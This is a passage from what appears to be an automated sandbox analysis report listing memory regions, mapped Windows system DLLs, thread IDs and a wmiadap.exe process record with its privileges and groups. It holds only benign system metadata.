private name = "private_0x000000fbf6700000" filename = "" Region: id = 15895 start_va = 0xfbf6780000 end_va = 0xfbf687ffff entry_point = 0x0 region_type = private name = "private_0x000000fbf6780000" filename = "" Region: id = 15896 start_va = 0xfbf6880000 end_va = 0xfbf68a9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000fbf6880000" filename = "" Region: id = 15897 start_va = 0xfbf68d0000 end_va = 0xfbf68dffff entry_point = 0x0 region_type = private name = "private_0x000000fbf68d0000" filename = "" Region: id = 15898 start_va = 0xfbf68e0000 end_va = 0xfbf6a67fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000fbf68e0000" filename = "" Region: id = 15899 start_va = 0xfbf6a70000 end_va = 0xfbf6bf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000fbf6a70000" filename = "" Region: id = 15900 start_va = 0xfbf6c00000 end_va = 0xfbf7ffffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000fbf6c00000" filename = "" Region: id = 15901 start_va = 0xfbf8000000 end_va = 0xfbf8336fff entry_point = 0xfbf8000000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 15902 start_va = 0xfbf8340000 end_va = 0xfbf83bffff entry_point = 0x0 region_type = private name = "private_0x000000fbf8340000" filename = "" Region: id = 15903 start_va = 0xfbf83c0000 end_va = 0xfbf843ffff entry_point = 0x0 region_type = private name = "private_0x000000fbf83c0000" filename = "" Region: id = 15904 start_va = 0xfbf8440000 end_va = 0xfbf84bffff entry_point = 0x0 region_type = private name = "private_0x000000fbf8440000" filename = "" Region: id = 15905 start_va = 0xfbf84c0000 end_va = 0xfbf853ffff entry_point = 0x0 region_type = private name = "private_0x000000fbf84c0000" filename = "" Region: id = 15906 start_va = 0xfbf8540000 end_va = 0xfbf85bffff entry_point = 0x0 region_type = private name = "private_0x000000fbf8540000" filename = "" Region: id = 15907 start_va = 0xfbf85c0000 end_va = 0xfbf863ffff entry_point = 0x0 region_type = private name = "private_0x000000fbf85c0000" filename = "" Region: id = 15908 start_va = 0xfbf8640000 end_va = 0xfbf86bffff entry_point = 0x0 region_type = private name = "private_0x000000fbf8640000" filename = "" Region: id = 15909 start_va = 0xfbf8700000 end_va = 0xfbf870ffff entry_point = 0x0 region_type = private name = "private_0x000000fbf8700000" filename = "" Region: id = 15910 start_va = 0xfbf8710000 end_va = 0xfbf880ffff entry_point = 0x0 region_type = private name = "private_0x000000fbf8710000" filename = "" Region: id = 15911 start_va = 0xfbf8810000 end_va = 0xfbf900ffff entry_point = 0x0 region_type = private name = "private_0x000000fbf8810000" filename = "" Region: id = 15912 start_va = 0xfbf9090000 end_va = 0xfbf910ffff entry_point = 0x0 region_type = private name = "private_0x000000fbf9090000" filename = "" Region: id = 15913 start_va = 0xfbf9110000 end_va = 0xfbf918ffff entry_point = 0x0 region_type = private name = "private_0x000000fbf9110000" filename = "" Region: id = 15914 start_va = 0xfbf9210000 end_va = 0xfbf928ffff entry_point = 0x0 region_type = private name = "private_0x000000fbf9210000" filename = "" Region: id = 15915 start_va = 0xfbf9290000 end_va = 0xfbf930ffff entry_point = 0x0 region_type = private name = "private_0x000000fbf9290000" filename = "" Region: id = 15916 start_va = 0xfbf9310000 end_va = 0xfbf93eefff entry_point = 0xfbf9310000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 15917 start_va = 0xfbf93f0000 end_va = 0xfbf94effff entry_point = 0x0 region_type = private name = "private_0x000000fbf93f0000" filename = "" Region: id = 15918 start_va = 0x7df5ffe20000 end_va = 0x7ff5ffe1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffe20000" filename = "" Region: id = 15919 start_va = 0x7ff68f5ce000 end_va = 0x7ff68f5cffff entry_point = 0x0 region_type = private name = "private_0x00007ff68f5ce000" filename = "" Region: id = 15920 start_va = 0x7ff68f5d0000 end_va = 0x7ff68f5d1fff entry_point = 0x0 region_type = private name = "private_0x00007ff68f5d0000" filename = "" Region: id = 15921 start_va = 0x7ff68f5d4000 end_va = 0x7ff68f5d5fff entry_point = 0x0 region_type = private name = "private_0x00007ff68f5d4000" filename = "" Region: id = 15922 start_va = 0x7ff68f5d6000 end_va = 0x7ff68f5d7fff entry_point = 0x0 region_type = private name = "private_0x00007ff68f5d6000" filename = "" Region: id = 15923 start_va = 0x7ff68f5da000 end_va = 0x7ff68f5dbfff entry_point = 0x0 region_type = private name = "private_0x00007ff68f5da000" filename = "" Region: id = 15924 start_va = 0x7ff68f5dc000 end_va = 0x7ff68f5ddfff entry_point = 0x0 region_type = private name = "private_0x00007ff68f5dc000" filename = "" Region: id = 15925 start_va = 0x7ff68f5de000 end_va = 0x7ff68f5dffff entry_point = 0x0 region_type = private name = "private_0x00007ff68f5de000" filename = "" Region: id = 15926 start_va = 0x7ff68f5e0000 end_va = 0x7ff68f6dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff68f5e0000" filename = "" Region: id = 15927 start_va = 0x7ff68f6e0000 end_va = 0x7ff68f702fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff68f6e0000" filename = "" Region: id = 15928 start_va = 0x7ff68f703000 end_va = 0x7ff68f704fff entry_point = 0x0 region_type = private name = "private_0x00007ff68f703000" filename = "" Region: id = 15929 start_va = 0x7ff68f705000 end_va = 0x7ff68f706fff entry_point = 0x0 region_type = private name = "private_0x00007ff68f705000" filename = "" Region: id = 15930 start_va = 0x7ff68f707000 end_va = 0x7ff68f708fff entry_point = 0x0 region_type = private name = "private_0x00007ff68f707000" filename = "" Region: id = 15931 start_va = 0x7ff68f709000 end_va = 0x7ff68f70afff entry_point = 0x0 region_type = private name = "private_0x00007ff68f709000" filename = "" Region: id = 15932 start_va = 0x7ff68f70b000 end_va = 0x7ff68f70bfff entry_point = 0x0 region_type = private name = "private_0x00007ff68f70b000" filename = "" Region: id = 15933 start_va = 0x7ff68f70c000 end_va = 0x7ff68f70dfff entry_point = 0x0 region_type = private name = "private_0x00007ff68f70c000" filename = "" Region: id = 15934 start_va = 0x7ff68f70e000 end_va = 0x7ff68f70ffff entry_point = 0x0 region_type = private name = "private_0x00007ff68f70e000" filename = "" Region: id = 15935 start_va = 0x7ff68fb90000 end_va = 0x7ff68fba5fff entry_point = 0x7ff68fb90000 region_type = mapped_file name = "sihost.exe" filename = "\\Windows\\System32\\sihost.exe" (normalized: "c:\\windows\\system32\\sihost.exe") Region: id = 15936 start_va = 0x7ff9db7e0000 end_va = 0x7ff9db878fff entry_point = 0x7ff9db7e0000 region_type = mapped_file name = "staterepository.core.dll" filename = "\\Windows\\System32\\StateRepository.Core.dll" (normalized: "c:\\windows\\system32\\staterepository.core.dll") Region: id = 15937 start_va = 0x7ff9db880000 end_va = 0x7ff9dbb11fff entry_point = 0x7ff9db880000 region_type = mapped_file name = "windows.staterepository.dll" filename = "\\Windows\\System32\\Windows.StateRepository.dll" (normalized: "c:\\windows\\system32\\windows.staterepository.dll") Region: id = 15938 start_va = 0x7ff9dc140000 end_va = 0x7ff9dc14bfff entry_point = 0x7ff9dc140000 region_type = mapped_file name = "licensemanagerapi.dll" filename = "\\Windows\\System32\\LicenseManagerApi.dll" (normalized: "c:\\windows\\system32\\licensemanagerapi.dll") Region: id = 15939 start_va = 0x7ff9dd1c0000 end_va = 0x7ff9dd3ccfff entry_point = 0x7ff9dd1c0000 region_type = mapped_file name = "twinui.appcore.dll" filename = "\\Windows\\System32\\twinui.appcore.dll" (normalized: "c:\\windows\\system32\\twinui.appcore.dll") Region: id = 15940 start_va = 0x7ff9de900000 end_va = 0x7ff9de914fff entry_point = 0x7ff9de900000 region_type = mapped_file name = "execmodelproxy.dll" filename = "\\Windows\\System32\\execmodelproxy.dll" (normalized: "c:\\windows\\system32\\execmodelproxy.dll") Region: id = 15941 start_va = 0x7ff9de9a0000 end_va = 0x7ff9dea44fff entry_point = 0x7ff9de9a0000 region_type = mapped_file name = "sharehost.dll" filename = "\\Windows\\System32\\ShareHost.dll" (normalized: "c:\\windows\\system32\\sharehost.dll") Region: id = 15942 start_va = 0x7ff9dea50000 end_va = 0x7ff9dea60fff entry_point = 0x7ff9dea50000 region_type = mapped_file name = "ondemandbrokerclient.dll" filename = "\\Windows\\System32\\OnDemandBrokerClient.dll" (normalized: "c:\\windows\\system32\\ondemandbrokerclient.dll") Region: id = 15943 start_va = 0x7ff9dea70000 end_va = 0x7ff9deb1bfff entry_point = 0x7ff9dea70000 region_type = mapped_file name = "appcontracts.dll" filename = "\\Windows\\System32\\AppContracts.dll" (normalized: "c:\\windows\\system32\\appcontracts.dll") Region: id = 15944 start_va = 0x7ff9deb20000 end_va = 0x7ff9deb2cfff entry_point = 0x7ff9deb20000 region_type = mapped_file name = "notificationplatformcomponent.dll" filename = "\\Windows\\System32\\notificationplatformcomponent.dll" (normalized: "c:\\windows\\system32\\notificationplatformcomponent.dll") Region: id = 15945 start_va = 0x7ff9deb30000 end_va = 0x7ff9deb72fff entry_point = 0x7ff9deb30000 region_type = mapped_file name = "execmodelclient.dll" filename = "\\Windows\\System32\\ExecModelClient.dll" (normalized: "c:\\windows\\system32\\execmodelclient.dll") Region: id = 15946 start_va = 0x7ff9dec30000 end_va = 0x7ff9dec38fff entry_point = 0x7ff9dec30000 region_type = mapped_file name = "wpportinglibrary.dll" filename = "\\Windows\\System32\\WpPortingLibrary.dll" (normalized: "c:\\windows\\system32\\wpportinglibrary.dll") Region: id = 15947 start_va = 0x7ff9dec40000 end_va = 0x7ff9ded17fff entry_point = 0x7ff9dec40000 region_type = mapped_file name = "modernexecserver.dll" filename = "\\Windows\\System32\\modernexecserver.dll" (normalized: "c:\\windows\\system32\\modernexecserver.dll") Region: id = 15948 start_va = 0x7ff9ded20000 end_va = 0x7ff9ded2bfff entry_point = 0x7ff9ded20000 region_type = mapped_file name = "dsclient.dll" filename = "\\Windows\\System32\\dsclient.dll" (normalized: "c:\\windows\\system32\\dsclient.dll") Region: id = 15949 start_va = 0x7ff9ded30000 end_va = 0x7ff9ded40fff entry_point = 0x7ff9ded30000 region_type = mapped_file name = "userdatatypehelperutil.dll" filename = "\\Windows\\System32\\UserDataTypeHelperUtil.dll" (normalized: "c:\\windows\\system32\\userdatatypehelperutil.dll") Region: id = 15950 start_va = 0x7ff9ded50000 end_va = 0x7ff9ded71fff entry_point = 0x7ff9ded50000 region_type = mapped_file name = "appointmentactivation.dll" filename = "\\Windows\\System32\\AppointmentActivation.dll" (normalized: "c:\\windows\\system32\\appointmentactivation.dll") Region: id = 15951 start_va = 0x7ff9ded80000 end_va = 0x7ff9dedddfff entry_point = 0x7ff9ded80000 region_type = mapped_file name = "activationmanager.dll" filename = "\\Windows\\System32\\ActivationManager.dll" (normalized: "c:\\windows\\system32\\activationmanager.dll") Region: id = 15952 start_va = 0x7ff9dede0000 end_va = 0x7ff9dee0efff entry_point = 0x7ff9dede0000 region_type = mapped_file name = "edputil.dll" filename = "\\Windows\\System32\\edputil.dll" (normalized: "c:\\windows\\system32\\edputil.dll") Region: id = 15953 start_va = 0x7ff9dee10000 end_va = 0x7ff9dee3ffff entry_point = 0x7ff9dee10000 region_type = mapped_file name = "clipboardserver.dll" filename = "\\Windows\\System32\\ClipboardServer.dll" (normalized: "c:\\windows\\system32\\clipboardserver.dll") Region: id = 15954 start_va = 0x7ff9dee40000 end_va = 0x7ff9df2a9fff entry_point = 0x7ff9dee40000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 15955 start_va = 0x7ff9df2b0000 end_va = 0x7ff9df2c1fff entry_point = 0x7ff9df2b0000 region_type = mapped_file name = "windows.shell.servicehostbuilder.dll" filename = "\\Windows\\System32\\Windows.Shell.ServiceHostBuilder.dll" (normalized: "c:\\windows\\system32\\windows.shell.servicehostbuilder.dll") Region: id = 15956 start_va = 0x7ff9df2d0000 end_va = 0x7ff9df2e6fff entry_point = 0x7ff9df2d0000 region_type = mapped_file name = "desktopshellext.dll" filename = "\\Windows\\System32\\DesktopShellExt.dll" (normalized: "c:\\windows\\system32\\desktopshellext.dll") Region: id = 15957 start_va = 0x7ff9df2f0000 end_va = 0x7ff9df550fff entry_point = 0x7ff9df2f0000 region_type = mapped_file name = "coreuicomponents.dll" filename = "\\Windows\\System32\\CoreUIComponents.dll" (normalized: "c:\\windows\\system32\\coreuicomponents.dll") Region: id = 15958 start_va = 0x7ff9e4920000 end_va = 0x7ff9e49b1fff entry_point = 0x7ff9e4920000 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 15959 start_va = 0x7ff9e49c0000 end_va = 0x7ff9e49f8fff entry_point = 0x7ff9e49c0000 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 15960 start_va = 0x7ff9e4ed0000 end_va = 0x7ff9e5245fff entry_point = 0x7ff9e4ed0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 15961 start_va = 0x7ff9e6720000 end_va = 0x7ff9e6755fff entry_point = 0x7ff9e6720000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 15962 start_va = 0x7ff9e7960000 end_va = 0x7ff9e7a90fff entry_point = 0x7ff9e7960000 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 15963 start_va = 0x7ff9e7aa0000 end_va = 0x7ff9e7addfff entry_point = 0x7ff9e7aa0000 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 15964 start_va = 0x7ff9e7dd0000 end_va = 0x7ff9e7f52fff entry_point = 0x7ff9e7dd0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 15965 start_va = 0x7ff9e7f60000 end_va = 0x7ff9e7fd1fff entry_point = 0x7ff9e7f60000 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 15966 start_va = 0x7ff9e8090000 end_va = 0x7ff9e809ffff entry_point = 0x7ff9e8090000 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 15967 start_va = 0x7ff9e9210000 end_va = 0x7ff9e9231fff entry_point = 0x7ff9e9210000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 15968 start_va = 0x7ff9e9350000 end_va = 0x7ff9e9417fff entry_point = 0x7ff9e9350000 region_type = mapped_file name = "coremessaging.dll" filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll") Region: id = 15969 start_va = 0x7ff9e9a70000 end_va = 0x7ff9e9b05fff entry_point = 0x7ff9e9a70000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 15970 start_va = 0x7ff9e9b10000 end_va = 0x7ff9e9b36fff entry_point = 0x7ff9e9b10000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 15971 start_va = 0x7ff9e9b60000 end_va = 0x7ff9e9c4dfff entry_point = 0x7ff9e9b60000 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 15972 start_va = 0x7ff9e9dd0000 end_va = 0x7ff9e9df7fff entry_point = 0x7ff9e9dd0000 region_type = mapped_file name = "rmclient.dll" filename = "\\Windows\\System32\\rmclient.dll" (normalized: "c:\\windows\\system32\\rmclient.dll") Region: id = 15973 start_va = 0x7ff9ea3f0000 end_va = 0x7ff9ea3fbfff entry_point = 0x7ff9ea3f0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 15974 start_va = 0x7ff9ea4e0000 end_va = 0x7ff9ea511fff entry_point = 0x7ff9ea4e0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 15975 start_va = 0x7ff9ea6c0000 end_va = 0x7ff9ea6f2fff entry_point = 0x7ff9ea6c0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 15976 start_va = 0x7ff9ea7b0000 end_va = 0x7ff9ea7cefff entry_point = 0x7ff9ea7b0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 15977 start_va = 0x7ff9eaa70000 end_va = 0x7ff9eaa86fff entry_point = 0x7ff9eaa70000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 15978 start_va = 0x7ff9eabe0000 end_va = 0x7ff9eabeafff entry_point = 0x7ff9eabe0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 15979 start_va = 0x7ff9eadc0000 end_va = 0x7ff9eadebfff entry_point = 0x7ff9eadc0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 15980 start_va = 0x7ff9eafc0000 end_va = 0x7ff9eafe7fff entry_point = 0x7ff9eafc0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 15981 start_va = 0x7ff9eaff0000 end_va = 0x7ff9eb05afff entry_point = 0x7ff9eaff0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 15982 start_va = 0x7ff9eb1a0000 end_va = 0x7ff9eb1b2fff entry_point = 0x7ff9eb1a0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 15983 start_va = 0x7ff9eb1c0000 end_va = 0x7ff9eb209fff entry_point = 0x7ff9eb1c0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 15984 start_va = 0x7ff9eb210000 end_va = 0x7ff9eb21efff entry_point = 0x7ff9eb210000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 15985 start_va = 0x7ff9eb220000 end_va = 0x7ff9eb230fff entry_point = 0x7ff9eb220000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 15986 start_va = 0x7ff9eb350000 end_va = 0x7ff9eb510fff entry_point = 0x7ff9eb350000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 15987 start_va = 0x7ff9eb520000 end_va = 0x7ff9eb5d2fff entry_point = 0x7ff9eb520000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 15988 start_va = 0x7ff9eb5e0000 end_va = 0x7ff9ebc07fff entry_point = 0x7ff9eb5e0000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 15989 start_va = 0x7ff9ebc10000 end_va = 0x7ff9ebc53fff entry_point = 0x7ff9ebc10000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 15990 start_va = 0x7ff9ebc60000 end_va = 0x7ff9ebe3cfff entry_point = 0x7ff9ebc60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 15991 start_va = 0x7ff9ebe40000 end_va = 0x7ff9ebedcfff entry_point = 0x7ff9ebe40000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 15992 start_va = 0x7ff9ebee0000 end_va = 0x7ff9ec02dfff entry_point = 0x7ff9ebee0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 15993 start_va = 0x7ff9ec1f0000 end_va = 0x7ff9ec46bfff entry_point = 0x7ff9ec1f0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 15994 start_va = 0x7ff9ec470000 end_va = 0x7ff9ec515fff entry_point = 0x7ff9ec470000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 15995 start_va = 0x7ff9ec520000 end_va = 0x7ff9ec5c4fff entry_point = 0x7ff9ec520000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 15996 start_va = 0x7ff9ec780000 end_va = 0x7ff9ec8dbfff entry_point = 0x7ff9ec780000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 15997 start_va = 0x7ff9ec8e0000 end_va = 0x7ff9eca20fff entry_point = 0x7ff9ec8e0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 15998 start_va = 0x7ff9eca30000 end_va = 0x7ff9ecaedfff entry_point = 0x7ff9eca30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 15999 start_va = 0x7ff9ee0a0000 end_va = 0x7ff9ee1c5fff entry_point = 0x7ff9ee0a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 16000 start_va = 0x7ff9ee1f0000 end_va = 0x7ff9ee24afff entry_point = 0x7ff9ee1f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 16001 start_va = 0x7ff9ee250000 end_va = 0x7ff9ee2fcfff entry_point = 0x7ff9ee250000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 16002 start_va = 0x7ff9ee4d0000 end_va = 0x7ff9ee654fff entry_point = 0x7ff9ee4d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 16003 start_va = 0x7ff9ee660000 end_va = 0x7ff9ee6b0fff entry_point = 0x7ff9ee660000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 16004 start_va = 0x7ff9ee6d0000 end_va = 0x7ff9ee705fff entry_point = 0x7ff9ee6d0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 16005 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 16007 start_va = 0xfbf6520000 end_va = 0xfbf6520fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000fbf6520000" filename = "" Region: id = 16008 start_va = 0xfbf9010000 end_va = 0xfbf908ffff entry_point = 0x0 region_type = private name = "private_0x000000fbf9010000" filename = "" Region: id = 16009 start_va = 0x7ff68f5d8000 end_va = 0x7ff68f5d9fff entry_point = 0x0 region_type = private name = "private_0x00007ff68f5d8000" filename = "" Region: id = 16010 start_va = 0x7ff9e0d70000 end_va = 0x7ff9e0f06fff entry_point = 0x7ff9e0d70000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Thread: id = 314 os_tid = 0x32c Thread: id = 315 os_tid = 0x920 Thread: id = 316 os_tid = 0x47c Thread: id = 317 os_tid = 0x5b8 Thread: id = 318 os_tid = 0x568 Thread: id = 319 os_tid = 0x2b8 Thread: id = 320 os_tid = 0x508 Thread: id = 321 os_tid = 0x4e8 Thread: id = 322 os_tid = 0x4f4 Thread: id = 323 os_tid = 0x478 Thread: id = 324 os_tid = 0x46c Thread: id = 325 os_tid = 0x444 Thread: id = 326 os_tid = 0x7cc Thread: id = 327 os_tid = 0x2e4 Thread: id = 381 os_tid = 0x350 Process: id = "24" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x31dc3000" os_pid = "0x2f8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x324" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b84b" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 16016 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 16017 start_va = 0x8775510000 end_va = 0x877552ffff entry_point = 0x0 region_type = private name = "private_0x0000008775510000" filename = "" Region: id = 16018 start_va = 0x8775530000 end_va = 0x8775543fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008775530000" filename = "" Region: id = 16019 start_va = 0x8775550000 end_va = 0x87755cffff entry_point = 0x0 region_type = private name = "private_0x0000008775550000" filename = "" Region: id = 16020 start_va = 0x87755d0000 end_va = 0x87755d3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000087755d0000" filename = "" Region: id = 16021 start_va = 0x87755e0000 end_va = 0x87755e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000087755e0000" filename = "" Region: id = 16022 start_va = 0x87755f0000 end_va = 0x87755f1fff entry_point = 0x0 region_type = private name = "private_0x00000087755f0000" filename = "" Region: id = 16023 start_va = 0x7df5ff670000 end_va = 